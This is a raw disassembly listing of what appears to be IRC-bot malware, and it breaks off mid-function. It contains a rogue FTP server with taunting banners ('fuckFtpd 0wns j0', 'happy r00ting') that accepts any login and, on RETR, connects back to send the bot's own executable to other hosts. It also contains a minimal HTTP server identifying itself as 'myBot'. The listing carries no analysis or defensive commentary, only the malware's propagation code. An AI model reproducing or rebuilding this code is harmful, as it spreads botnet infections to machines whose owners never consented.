var_34 = dword ptr -34h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A6Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 1
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6DC]
pop ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A6C]
xor edi, edi
push eax
push 101h
mov [ebp+var_28], ebx
mov [ebp+var_18], ebx
mov [ebp+var_228], edi
mov [ebp+var_438], edi
call dword_4211B0
push edi
call sub_416AD4
push eax
call sub_415539
push 0FA00h
push 471h
call sub_414098
add esp, 10h
mov dword_438FFC, eax
push edi
push ebx
push 2
call dword_4211E0
mov esi, eax
lea eax, [ebp+var_28]
push 4
push eax
push 4
push 0FFFFh
push esi
mov [ebp+var_C], esi
call dword_4211B4
lea eax, [ebp+var_18]
push eax
push 8004667Eh
push esi
call dword_4211B8
mov ax, word ptr dword_438FFC
mov [ebp+var_38], 2
push eax
mov [ebp+var_34], edi
call dword_4211DC
mov [ebp+var_36], ax
lea eax, [ebp+var_38]
push 10h
push eax
push esi
call dword_4211BC
test eax, eax
jge short loc_4054DE
mov eax, ebx
jmp loc_405A05
; ---------------------------------------------------------------------------
loc_4054DE: ; CODE XREF: sub_405409+CCj
push 0Ah
push esi
call dword_4211C0
mov [ebp+var_228], ebx
mov ebx, dword_4211EC
mov [ebp+var_224], esi
mov [ebp+var_4], esi
loc_4054FC: ; CODE XREF: sub_405409+12Cj
; sub_405409+5F4j
push 41h
lea esi, [ebp+var_228]
pop ecx
lea edi, [ebp+var_438]
rep movsd
xor esi, esi
lea eax, [ebp+var_438]
push esi
push esi
push esi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call dword_4211D0
cmp eax, 0FFFFFFFFh
jz loc_405A02
xor edi, edi
cmp [ebp+var_4], esi
mov [ebp+arg_0], edi
jl short loc_4054FC
loc_405537: ; CODE XREF: sub_405409+5EEj
xor esi, esi
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_415570
push 64h
lea eax, [ebp+var_AC]
push esi
push eax
call sub_415570
add esp, 18h
lea eax, [ebp+var_438]
push eax
push edi
call sub_420106
test eax, eax
jz loc_4059F0
cmp edi, [ebp+var_C]
jnz short loc_4055EE
lea eax, [ebp+var_24]
mov [ebp+var_24], 10h
push eax
lea eax, [ebp+var_238]
push eax
push [ebp+var_C]
call dword_4211C4
cmp eax, 0FFFFFFFFh
jz loc_4059F0
xor ecx, ecx
cmp [ebp+var_228], esi
jbe short loc_4055B8
lea edx, [ebp+var_224]
loc_4055A8: ; CODE XREF: sub_405409+1ADj
cmp [edx], eax
jz short loc_4055B8
inc ecx
add edx, 4
cmp ecx, [ebp+var_228]
jb short loc_4055A8
loc_4055B8: ; CODE XREF: sub_405409+197j
; sub_405409+1A1j
cmp ecx, [ebp+var_228]
jnz short loc_4055D6
cmp [ebp+var_228], 40h
jnb short loc_4055D6
mov [ebp+ecx*4+var_224], eax
inc [ebp+var_228]
loc_4055D6: ; CODE XREF: sub_405409+1B5j
; sub_405409+1BEj
cmp eax, [ebp+var_4]
jle short loc_4055DE
mov [ebp+var_4], eax
loc_4055DE: ; CODE XREF: sub_405409+1D0j
push esi
push 15h
push offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n"
push eax
call ebx
jmp loc_4059F0
; ---------------------------------------------------------------------------
loc_4055EE: ; CODE XREF: sub_405409+169j
push esi
lea eax, [ebp+var_29C]
push 64h
push eax
push edi
call dword_4211E8
test eax, eax
jg short loc_405655
mov edx, [ebp+var_228]
xor ecx, ecx
cmp edx, esi
jbe short loc_405649
lea eax, [ebp+var_224]
loc_405615: ; CODE XREF: sub_405409+216j
cmp [eax], edi
jz short loc_405623
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_405615
jmp short loc_405649
; ---------------------------------------------------------------------------
loc_405623: ; CODE XREF: sub_405409+20Ej
dec edx
cmp ecx, edx
jnb short loc_405643
lea eax, [ebp+ecx*4+var_224]
loc_40562F: ; CODE XREF: sub_405409+238j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp+var_228]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_40562F
loc_405643: ; CODE XREF: sub_405409+21Dj
dec [ebp+var_228]
loc_405649: ; CODE XREF: sub_405409+204j
; sub_405409+218j
push edi
call dword_4211F0
jmp loc_4059F0
; ---------------------------------------------------------------------------
loc_405655: ; CODE XREF: sub_405409+1F8j
lea eax, [ebp+var_334]
push eax
lea eax, [ebp+var_AC]
push eax
lea eax, [ebp+var_29C]
push offset aSS ; "%s %s"
push eax
call sub_416AA0
lea eax, [ebp+var_AC]
push offset aUser_0 ; "USER"
push eax
call sub_415910
add esp, 18h
test eax, eax
jnz short loc_405699
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_4059DB
; ---------------------------------------------------------------------------
loc_405699: ; CODE XREF: sub_405409+281j
lea eax, [ebp+var_AC]
push offset aPass ; "PASS"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_4056BD
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_4059DB
; ---------------------------------------------------------------------------
loc_4056BD: ; CODE XREF: sub_405409+2A5j
lea eax, [ebp+var_AC]
push offset aSyst ; "SYST"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_4056E1
push esi
push 0Dh
push offset a215Fuckftpd ; "215 fuckFtpd\n"
jmp loc_4059DB
; ---------------------------------------------------------------------------
loc_4056E1: ; CODE XREF: sub_405409+2C9j
lea eax, [ebp+var_AC]
push offset aRest ; "REST"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_405705
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_4059DB
; ---------------------------------------------------------------------------
loc_405705: ; CODE XREF: sub_405409+2EDj
lea eax, [ebp+var_AC]
push offset off_426918
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_405729
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_4059DB
; ---------------------------------------------------------------------------
loc_405729: ; CODE XREF: sub_405409+311j
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_405764
lea eax, [ebp+var_334]
push offset aA ; "A"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_405764
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_4059DB
; ---------------------------------------------------------------------------
loc_405764: ; CODE XREF: sub_405409+335j
; sub_405409+34Cj
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40579F
lea eax, [ebp+var_334]
push offset aI ; "I"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40579F
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_4059DB
; ---------------------------------------------------------------------------
loc_40579F: ; CODE XREF: sub_405409+370j
; sub_405409+387j
lea eax, [ebp+var_AC]
push offset aPasv ; "PASV"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_4057ED
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_124]
rep movsd
push eax
lea eax, [ebp+var_124]
push eax
movsw
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_124]
loc_4057DD: ; CODE XREF: sub_405409+423j
push eax
push [ebp+arg_0]
call ebx
xor esi, esi
loc_4057E5: ; CODE XREF: sub_405409+4F3j
mov edi, [ebp+arg_0]
jmp loc_4059DE
; ---------------------------------------------------------------------------
loc_4057ED: ; CODE XREF: sub_405409+3ABj
lea eax, [ebp+var_AC]
push offset aList ; "LIST"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40582E
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C4]
rep movsd
movsw
push eax
lea eax, [ebp+var_C4]
push eax
movsb
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_C4]
jmp short loc_4057DD
; ---------------------------------------------------------------------------
loc_40582E: ; CODE XREF: sub_405409+3F9j
lea eax, [ebp+var_AC]
push offset aPort ; "PORT"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_405901
lea eax, [ebp+var_2D0]
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_29C]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_416AA0
lea eax, [ebp+var_F8]
push eax
call sub_415A5F
mov edi, eax
lea eax, [ebp+var_2D0]
push eax
call sub_415A5F
mov [ebp+var_8], eax
push 32h
lea eax, [ebp+var_F8]
push esi
push eax
call sub_415570
push [ebp+var_8]
lea eax, [ebp+var_F8]
push edi
push offset aXX ; "%x%x\n"
push eax
call sub_4154E7
add esp, 44h
lea eax, [ebp+var_F8]
push 10h
push esi
push eax
call sub_416A89
mov [ebp+var_8], eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_48]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_4154E7
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
push [ebp+arg_0]
call ebx
jmp loc_4057E5
; ---------------------------------------------------------------------------
loc_405901: ; CODE XREF: sub_405409+43Aj
lea eax, [ebp+var_AC]
push offset aRetr ; "RETR"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_4059BC
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx
push [ebp+var_8]
lea eax, [ebp+var_48]
push eax
call sub_405A0C
pop ecx
cmp eax, 1
pop ecx
jnz short loc_4059B2
call sub_405A89
cmp eax, 1
jnz loc_4059DE
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx
lea eax, [ebp+var_6D8]
push eax
lea eax, [ebp+var_48]
push dword_438FFC
push eax
lea eax, [ebp+var_8DC]
push offset dword_42675C
push eax
call sub_4154E7
add esp, 14h
cmp [ebp+var_440], esi
jnz short loc_4059A3
push esi
lea eax, [ebp+var_8DC]
push [ebp+var_444]
push eax
lea eax, [ebp+var_4C4]
push eax
push [ebp+var_6DC]
call sub_412D4C
add esp, 14h
loc_4059A3: ; CODE XREF: sub_405409+575j
lea eax, [ebp+var_8DC]
push eax
call sub_40B16D
pop ecx
jmp short loc_4059DE
; ---------------------------------------------------------------------------
loc_4059B2: ; CODE XREF: sub_405409+52Fj
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_4059DB
; ---------------------------------------------------------------------------
loc_4059BC: ; CODE XREF: sub_405409+50Dj
lea eax, [ebp+var_AC]
push offset aQuit ; "QUIT"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_4059DE
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_4059DB: ; CODE XREF: sub_405409+28Bj
; sub_405409+2AFj ...
push edi
call ebx
loc_4059DE: ; CODE XREF: sub_405409+3DFj
; sub_405409+539j ...
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_415570
add esp, 0Ch
loc_4059F0: ; CODE XREF: sub_405409+160j
; sub_405409+189j ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_405537
jmp loc_4054FC
; ---------------------------------------------------------------------------
loc_405A02: ; CODE XREF: sub_405409+11Ej
push 1
pop eax
loc_405A05: ; CODE XREF: sub_405409+D0j
pop edi
pop esi
pop ebx
leave
retn 4
sub_405409 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405A0C proc near ; CODE XREF: sub_405409+525p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call dword_4211B0
push 0
push 1
push 2
call dword_4211E0
push [ebp+arg_0]
mov dword_438FF8, eax
mov [ebp+var_10], 2
call dword_4211D8
push [ebp+arg_4]
mov [ebp+var_C], eax
call dword_4211DC
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_438FF8
call dword_4211E4
cmp eax, 0FFFFFFFFh
jnz short loc_405A84
push dword_438FF8
call dword_4211F0
call dword_4211AC
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_405A84: ; CODE XREF: sub_405A0C+60j
push 1
pop eax
leave
retn
sub_405A0C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405A89 proc near ; CODE XREF: sub_405409+531p
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call dword_42107C
lea eax, [ebp+var_104]
push offset aRb ; "rb"
push eax
call sub_415BE8
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_405B20
test byte ptr [esi+0Ch], 10h
jnz short loc_405B04
push edi
mov edi, 400h
loc_405ACC: ; CODE XREF: sub_405A89+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_416BB0
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push dword_438FF8
call dword_4211EC
push 1
call dword_421060
test byte ptr [esi+0Ch], 10h
jz short loc_405ACC
pop edi
loc_405B04: ; CODE XREF: sub_405A89+3Bj
push esi
call sub_415B40
pop ecx
push dword_438FF8
call dword_4211F0
call dword_4211AC
push 1
pop eax
loc_405B20: ; CODE XREF: sub_405A89+35j
pop esi
leave
retn
sub_405A89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405B23 proc near ; DATA XREF: sub_407276+333o
; sub_40CE55+5068o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_415D70
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_415570
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_43A3B8
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_43A438
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_405F0E
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_43F554[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_43A3E4
cmp eax, 0FFFFFFFFh
jz loc_405F0E
push 7FFFFFFFh
push edi
call dword_43A3E0
cmp eax, 0FFFFFFFFh
jz loc_405F0E
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_43A454
cmp eax, 0FFFFFFFFh
jz loc_405F0E
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_405BFA: ; CODE XREF: sub_405B23+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_43A3A0
cmp eax, 0FFFFFFFFh
jz loc_405F09
xor esi, esi
mov [ebp+var_4], esi
loc_405C30: ; CODE XREF: sub_405B23+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_43A2B0
test eax, eax
jz loc_405EF4
cmp esi, [ebp+var_C]
jnz short loc_405CB2
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_43A44C
cmp eax, 0FFFFFFFFh
jz loc_405EF4
xor ecx, ecx
test ebx, ebx
jbe short loc_405C84
lea edx, [ebp+var_134]
loc_405C78: ; CODE XREF: sub_405B23+15Fj
cmp [edx], eax
jz short loc_405C84
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_405C78
loc_405C84: ; CODE XREF: sub_405B23+14Dj
; sub_405B23+157j
cmp ecx, ebx
jnz short loc_405CA1
cmp ebx, 40h
jnb short loc_405CA1
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_405CA1: ; CODE XREF: sub_405B23+163j
; sub_405B23+168j
cmp eax, [ebp+var_8]
jbe loc_405EF4
mov [ebp+var_8], eax
jmp loc_405EF4
; ---------------------------------------------------------------------------
loc_405CB2: ; CODE XREF: sub_405B23+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_415570
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_415570
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_43A3D0
test eax, eax
jg short loc_405D45
push esi
call dword_43A450
xor ecx, ecx
test ebx, ebx
jbe loc_405EF4
lea eax, [ebp+var_134]
loc_405D04: ; CODE XREF: sub_405B23+1EBj
cmp [eax], esi
jz short loc_405D15
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_405D04
jmp loc_405EF4
; ---------------------------------------------------------------------------
loc_405D15: ; CODE XREF: sub_405B23+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_405D39
lea eax, [ebp+ecx*4+var_134]
loc_405D23: ; CODE XREF: sub_405B23+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_405D23
loc_405D39: ; CODE XREF: sub_405B23+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_405EF4
; ---------------------------------------------------------------------------
loc_405D45: ; CODE XREF: sub_405B23+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_415570
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_415CF0
add esp, 10h
test eax, eax
jbe loc_405EF4
loc_405D73: ; CODE XREF: sub_405B23+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_405E18
mov esi, offset aGet ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_415AC0
pop ecx
test eax, eax
pop ecx
jz short loc_405DEC
lea eax, [ebp+var_18F0]
push eax
call sub_415CF0
cmp eax, 5
pop ecx
jbe short loc_405DEC
mov eax, offset asc_426A00 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_415AC0
pop ecx
pop ecx
push eax
call sub_415AC0
pop ecx
pop ecx
push eax
call sub_416C98
push eax
lea eax, [ebp+var_23C]
push eax
call sub_415C00
add esp, 10h
jmp short loc_405E03
; ---------------------------------------------------------------------------
loc_405DEC: ; CODE XREF: sub_405B23+27Fj
; sub_405B23+291j
lea eax, [ebp+var_18F0]
push offset asc_4269FC ; "\r\n"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_405E37
loc_405E03: ; CODE XREF: sub_405B23+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_415570
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_405E18: ; CODE XREF: sub_405B23+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_415CF0
cmp [ebp+arg_0], eax
pop ecx
jb loc_405D73
jmp loc_405EF4
; ---------------------------------------------------------------------------
loc_405E37: ; CODE XREF: sub_405B23+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_405E81
lea eax, [ebp+var_134]
loc_405E43: ; CODE XREF: sub_405B23+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_405E54
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_405E43
jmp short loc_405E84
; ---------------------------------------------------------------------------
loc_405E54: ; CODE XREF: sub_405B23+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_405E78
lea eax, [ebp+ecx*4+var_134]
loc_405E62: ; CODE XREF: sub_405B23+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_405E62
loc_405E78: ; CODE XREF: sub_405B23+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_405E84
; ---------------------------------------------------------------------------
loc_405E81: ; CODE XREF: sub_405B23+318j
mov esi, [ebp+var_4]
loc_405E84: ; CODE XREF: sub_405B23+32Fj
; sub_405B23+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_405EED
lea eax, [ebp+var_360]
push eax
call sub_415CF0
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_415CF0
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_405EED
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_43A454
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_406100
add esp, 14h
jmp short loc_405EF4
; ---------------------------------------------------------------------------
loc_405EED: ; CODE XREF: sub_405B23+369j
; sub_405B23+38Fj
push esi
call dword_43A450
loc_405EF4: ; CODE XREF: sub_405B23+11Dj
; sub_405B23+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_405C30
jmp loc_405BFA
; ---------------------------------------------------------------------------
loc_405F09: ; CODE XREF: sub_405B23+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_405F0E: ; CODE XREF: sub_405B23+6Aj
; sub_405B23+92j ...
call dword_43A34C
push eax
lea eax, [ebp+var_8F0]
push offset unk_4269B4
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_405F54
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_412D4C
add esp, 14h
loc_405F54: ; CODE XREF: sub_405B23+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_40B16D
pop ecx
push edi
call dword_43A450
push [ebp+var_254]
call sub_4152AF
pop ecx
push ebx
call dword_421048
pop edi
pop esi
pop ebx
sub_405B23 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405F7E proc near ; DATA XREF: sub_406100+246o
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_415D70
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_4154E7
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_654]
push eax
call sub_4154E7
xor edi, edi
add esp, 10h
cmp [ebp+var_A4], edi
jz short loc_405FE3
push offset aTextHtml ; "text/html"
jmp short loc_405FE8
; ---------------------------------------------------------------------------
loc_405FE3: ; CODE XREF: sub_405F7E+5Cj
push offset aApplicationOct ; "application/octet-stream"
loc_405FE8: ; CODE XREF: sub_405F7E+63j
lea eax, [ebp+var_9C]
push eax
call sub_4154E7
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call dword_421084
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call dword_421080
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_406061
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_4154E7
add esp, 24h
jmp short loc_406082
; ---------------------------------------------------------------------------
loc_406061: ; CODE XREF: sub_405F7E+C4j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_4154E7
add esp, 28h
loc_406082: ; CODE XREF: sub_405F7E+E1j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_43A408
cmp [ebp+var_A4], edi
jnz short loc_4060C2
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_406A32
pop ecx
pop ecx
jmp short loc_4060DF
; ---------------------------------------------------------------------------
loc_4060C2: ; CODE XREF: sub_405F7E+12Cj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_4063B0
add esp, 10h
loc_4060DF: ; CODE XREF: sub_405F7E+142j
push [ebp+var_44C]
call dword_43A450
push [ebp+var_B4]
call sub_4152AF
pop ecx
push edi
call dword_421048
pop edi
pop esi
sub_405F7E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406100 proc near ; CODE XREF: sub_405B23+3C0p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_415570
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_406136
push eax
push offset aS_2 ; "\\%s"
jmp short loc_40613F
; ---------------------------------------------------------------------------
loc_406136: ; CODE XREF: sub_406100+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_1 ; "%s"
loc_40613F: ; CODE XREF: sub_406100+34j
lea eax, [ebp+var_10C]
push eax
call sub_4154E7
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_415CF0
test eax, eax
pop ecx
jbe short loc_4061DA
mov [ebp+arg_8], 2
loc_40616A: ; CODE XREF: sub_406100+D8j
lea eax, [ebp+var_10C]
push eax
call sub_415CF0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_4061AA
cmp [ebp+esi+var_10C], 25h
jnz short loc_4061AA
cmp [ebp+esi+var_10B], 32h
jnz short loc_4061AA
cmp [ebp+esi+var_10A], 30h
jnz short loc_4061AA
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_4061C4
; ---------------------------------------------------------------------------
loc_4061AA: ; CODE XREF: sub_406100+7Aj
; sub_406100+84j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_4061BA
push 5Ch
pop eax
jmp short loc_4061BD
